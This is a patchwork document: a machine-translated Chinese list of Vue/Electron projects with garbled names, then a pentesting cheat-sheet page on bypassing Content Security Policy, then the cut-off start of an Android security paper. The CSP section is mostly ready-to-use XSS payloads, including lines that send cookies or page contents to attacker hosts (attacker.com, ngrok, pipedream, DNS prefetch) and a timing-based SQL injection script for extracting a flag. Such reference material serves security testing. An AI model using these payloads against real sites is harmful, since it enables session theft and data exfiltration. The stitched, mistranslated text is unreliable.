- [电子视觉](https://github.com/SimulatedGREG/electron-vue)-电子和Vue.js快速启动样板,具有vue-cli脚手架ㄡ通用Vue插件ㄡ电子打包器/电子构建器ㄡ单元/e2e测试ㄡvue-devtools和webpack.
- [沃帕克](https://github.com/egoist/vuepack)-使用Vue 2ㄡVueXㄡVue路由器和WebPACK 2 (甚至电子) 的现代启动器.
- [Vue柔性链路](https://github.com/saintplay/vue-flexible-link)微小的Vue组件,用于电子在浏览器中打开链接. 适用于跨环境应用程序 (Web和本地)
- [真空电子](https://github.com/rachmanzz/vuelectron)-用于Vue的EngJS启动工具包.
- [Vue设计](https://github.com/L-Chris/vue-design)-最好的网站可视化建设者与Vue和电子.
- [VIE CLI插件电子Builder](https://github.com/nklayman/vue-cli-plugin-electron-builder)-Vue CLI 3插件,用于不需要使用的配置的电子[电子生成器](https://www.electron.build/)和[电子WebPACK](https://webpack.electron.build/).
- [达普](https://github.com/fritx/dapp)Vue/包裹/电子堆栈的样板.
- [Vue电子模板](https://github.com/mubaidr/vue-electron-template)-一个电子和Vue.js样板,其中支持热重载,以及使用webpack-4配置的通用Vue插件ㄡ开发和构建脚本
### 部分
*应用程序的脚手架部分*
- [Vue发生器](https://github.com/hjeti/vue-generator)-用于Vue组件ㄡ视图和存储模块的CLI生成器.
- [Vue组件生成器](https://github.com/lakb248/vue-component-generator)Vue组件的一个生成器,支持Vue1.x和Vue2.x.
- [拉普莫尔化学机械抛光](https://github.com/valq7711/rapydml_cmp)- Vue组件Python生成器,构建在RAPYDML和RAPYDScript的顶部.
- [Vue创作模板](https://github.com/DrSensor/vue-authoring-template)-模板的创作也发布Vue组件及其在故事情节 (故事书) 格式的用例简单的方式.
- [Vue组件样板](https://github.com/codetheorist/vue-component-boilerplate)-模板用于生成VueJS组件的样板代码,带有构建脚本和测试预安装.
- [Vue生成组件类型脚本](https://github.com/Kamar-Meddah/vue-generate-component-typescript)一个用于Vue的类型化代码生成器,它可以生成组件ㄡ指令ㄡ过滤器.
## 运行时
### 命令行/终端
- [祝福的Vue](https://github.com/lyonlai/blessed-vue)一个VueJS运行时,让您在Vue编辑中编写命令行UI
## 预烧结
- [反应迅速](https://github.com/stereobooster/react-snap)SPA零配置静态预渲染器
- [预插件](https://github.com/mubaidr/prerender-plugin)一个No.js/WebPACK插件,用于在单页应用程序 (SPA) 中预置静态HTML.
- [Vue预置器](https://github.com/eldarc/vue-prerender)一个Vue JS定制插件,它实现了使用无头Chrome预发布vu.js页面的三种策略.
<br/>
<br/>
<br/>
[](https://creativecommons.org/publicdomain/zero/1.0/)
|
# Content Security Policy (CSP) Bypass
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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## What is CSP
Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of resources being allowed from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:`
Content Security Policy is implemented via **response headers** or **meta elements of the HTML page**. The browser follows the received policy and actively blocks violations as they are detected.
Implemented via response header:
```http
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
Implemented via meta tag:
```markup
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
* `Content-Security-Policy`
* `Content-Security-Policy-Report-Only` This one won't block anything, only send reports (use in Pre environment).
## Defining resources
CSP works by restricting the origins from where active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of `eval()`.
```
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Directives
* **script-src**: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.
* **default-src**: This directive defines the policy for fetching resources by default. When fetch directives are absent in the CSP header the browser follows this directive by default.
* **Child-src**: This directive defines allowed resources for web workers and embedded frame contents.
* **connect-src**: This directive restricts URLs to load using interfaces like fetch, websocket, XMLHttpRequest
* **frame-src**: This directive restricts URLs to frames that can be called out.
* **frame-ancestors**: This directive specifies the sources that can embed the current page. This directive applies to [`<frame>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe), [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object), [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed), or [`<applet>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/applet). This directive can't be used in tags and applies only to non-HTML resources.
* **img-src**: It defines allowed sources to load images on the web page.
* **font-src:** directive specifies valid sources for fonts loaded using `@font-face`.
* **manifest-src**: This directive defines allowed sources of application manifest files.
* **media-src**: It defines allowed sources from where media objects can be loaded.
* **object-src**: It defines allowed sources for the \<object>, \<embed>, and \<applet> elements elements.
* **base-uri**: It defines allowed URLs which can be loaded using an element.
* **form-action**: This directive lists valid endpoints for submission from tags.
* **plugin-types**: It defines limits on the kinds of mime types a page may invoke.
* **upgrade-insecure-requests**: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URLs that need to be rewritten.
* **sandbox**: sandbox directive enables a sandbox for the requested resource similar to the sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.
### **Sources**
* \*: This allows any URL except `data:` , `blob:` , `filesystem:` schemes
* **self**: This source defines that loading of resources on the page is allowed from the same domain.
* **data**: This source allows loading resources via the data scheme (eg Base64 encoded images)
* **none**: This directive allows nothing to be loaded from any source.
* **unsafe-eval**: This allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason, it is named unsafe.
* **unsafe-hashes**: This allows to enable of specific inline event handlers.
* **unsafe-inline**: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.
* **nonce**: A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.
* **sha256-\<hash>**: Whitelist scripts with an specific sha256 hash
* **strict-dynamic**: It allows the browser to load and execute new JavaScript tags in the DOM from any script source that has previously been whitelisted by a "nonce" or "hash" value.
* **host**: Indicate a host such as example.com
## Unsafe CSP Rules
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' via Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}
### 'unsafe-eval'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Working payload:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
If you can somehow make an **allowed JS code created a new script tag** in the DOM with your JS code, because an allowed script is creating it, the **new script tag will be allowed to be executed**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Working payload:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Lack of object-src and default-src
{% hint style="danger" %}
**It looks like this is not longer working**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Working payloads:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### File Upload + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
If you can upload a JS file you can bypass this CSP:
Working payload:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.
From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Third Party Endpoints + ('unsafe-eval')
{% hint style="warning" %}
For some of the following payload **`unsafe-eval` is not even needed**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Load a vulnerable version of angular and execute arbitrary JS:
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
The post shows that you could **load** all **libraries** from `cdn.cloudflare.com` (or any other allowed JS libraries repo), execute all added functions from each library, and check **which functions from which libraries return the `window` object**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
#### Abusing google recaptcha JS code
According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to executa arbitrary JS code bypassing the CSP:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### Third Party Endpoints + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP endpoints allow insecure callback methods which allow an attacker to perform XSS, working payload:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contains ready to use JSONP endpoints to CSP bypass of different websites.**
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
### Folder path bypass
If CSP policy points to a folder and you use **%2f** to encode **"/"**, it is still considered to be inside the folder. All browsers seem to agree with that.\
This leads to a possible bypass, by using "**%2f..%2f**" if the server decodes it. For example, if CSP allows `http://example.com/company/` you can bypass the folder restriction and execute: `http://example.com/company%2f..%2fattacker/file.js`
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS execution
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### missing **base-uri**
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection.md).
Moreover, if the **page is loading a script using a relative path** (like `/js/app.js`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
```html
<base href="https://www.attacker.com/">
```
### AngularJS events
Depending on the specific policy, the CSP will block JavaScript events. However, AngularJS defines its own events that can be used instead. When inside an event, AngularJS defines a special `$event` object, which simply references the browser event object. You can use this object to perform a CSP bypass. On Chrome, there is a special property on the `$event/event` object called `path`. This property contains an array of objects that causes the event to be executed. The last property is always the `window` object, which we can use to perform a sandbox escape. By passing this array to the `orderBy` filter, we can enumerate the array and use the last element (the `window` object) to execute a global function, such as `alert()`. The following code demonstrates this:
```markup
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
**Find other Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS and whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable classes. For more details visit this awesome [git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) repo.
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
### Bypass CSP with dangling markup
Read [how here](../dangling-markup-html-scriptless-injection.md).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` means that you can execute any script inside the code (XSS can execute code) and `img-src *` means that you can use in the webpage any image from any resource.
You can bypass this CSP by exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains an SQLi, and extract the flag via an image):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows loading images from Twitter. You could **craft** an **special image**, **upload** it to Twitter and abuse the "**unsafe-inline**" to **execute** a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### With Service Workers
Service workers **`importScripts`** function isn't limited by CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}
### Policy Injection
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
If a **parameter** sent by you is being **pasted inside** the **declaration** of the **policy,** then you could **alter** the **policy** in some way that makes **it useless**. You could **allow script 'unsafe-inline'** with any of these bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Because this directive will **overwrite existing script-src directives**.\
You can find an example here: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
In Edge is much simpler. If you can add in the CSP just this: **`;_`** **Edge** would **drop** the entire **policy**.\
Example: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; via XSS (iframe) - Time attack
Notice the lack of the directive `'unsafe-inline'`\
This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information (**CSRF**). You cannot access the content of the page, but if somehow you can **control the time the page needs to load** you can extract the information you need.
This time a **flag** is going to be extracted, whenever a **char is correctly guessed** via SQLi the **response** takes **more time** due to the sleep function. Then, you will be able to extract the flag:
```javascript
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
```
### Via Bookmarklets
This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens.
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
You can **restrict a CSP of an Iframe** with the **`csp`** attribute:
{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\
CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### JS exfiltration with Content-Security-Policy-Report-Only
If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`<script>`** and because highly probable `unsafe-inline` isn't allowed by the CSP, this will **trigger a CSP error** and part of the script (containing the sensitive info) will be sent to the server from `Content-Security-Policy-Report-Only`.
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Leaking Information CSP + Iframe
Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example, the user **admin** accessing **redirectme.domain1.com** is redirected to **adminsecret321.domain2.com** and you can cause an XSS to the admin.\
**Also pages that are redirected aren't allowed by the security policy, but the page that redirects is.**
You can leak the domain where the admin is redirected through:
* **through CSP violation**
* **through CSP rules.**
The CSP violation is an instant leak. All that needs to be done is to load an iframe pointing to `https://redirectme.domain1.com` and listen to `securitypolicyviolation` event which contains `blockedURI` property containing the domain of the blocked URI. That is because the `https://redirectme.domain1.com` (allowed by CSP) redirects to `https://adminsecret321.domain2.com` (**blocked by CSP**). This makes use of undefined behavior of how to handle iframes with CSP. Chrome and Firefox behave differently regarding this.
When you know the characters that may compose the secret subdomain, you can also use a binary search and check when the CSP blocked the resource and when not creating different forbidden domains in the CSP (in this case the secret can be in the form doc-X-XXXX.secdrivencontent.dev)
```
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Trick from [**here**](https://ctftime.org/writeup/29310).
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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## Unsafe Technologies to Bypass CSP
### PHP response buffer overload
PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\
Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent.
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Rewrite Error Page
From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### SOME + 'self' + wordpress
SOME is a technique that abuses an XSS (or highly limited XSS) **in an endpoint of a page** to **abuse** **other endpoints of the same origin.** This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the **vulnerable endpoint** can use the **`opener`** object in the **payload** to **access the DOM** of the **real endpoint to abuse**. For more information check:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots).
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
### Location
You could just update the location to send to the attacker's server the secret information:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Meta tag
You could redirect by injecting a meta tag (this is just a redirect, this won't leak content)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch
To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\
You can indicate a browser to pre-resolve a hostname with: `<link reol="dns-prefetch" href="something.com">`
You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
Another way:
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
In order to avoid this from happening the server can send the HTTP header:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Apparently, this technique doesn't work in headless browsers (bots)
{% endhint %}
### WebRTC
On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP.
```javascript
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
```
However, it doesn't look like it's [not possible anymore](https://github.com/w3c/webrtc-nv-use-cases/issues/35) (or at least not that easy).
If you know how to exfiltrate info with WebRTC [**send a pull request please!**](https://github.com/carlospolop/hacktricks)
## Checking CSP Policies Online
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Automatically creating CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## References
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
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|
# The Grey Matter of Securing Android Applications
Abstract
========
According to Gartner's research Google\'s Android is the leading
smartphone operating system in the world ^\[1\]^ (Exhibit 1). One of the
significant reasons for the popularity of the Android platform is indeed
its openness. The popularity of Android platform has lead to a massive
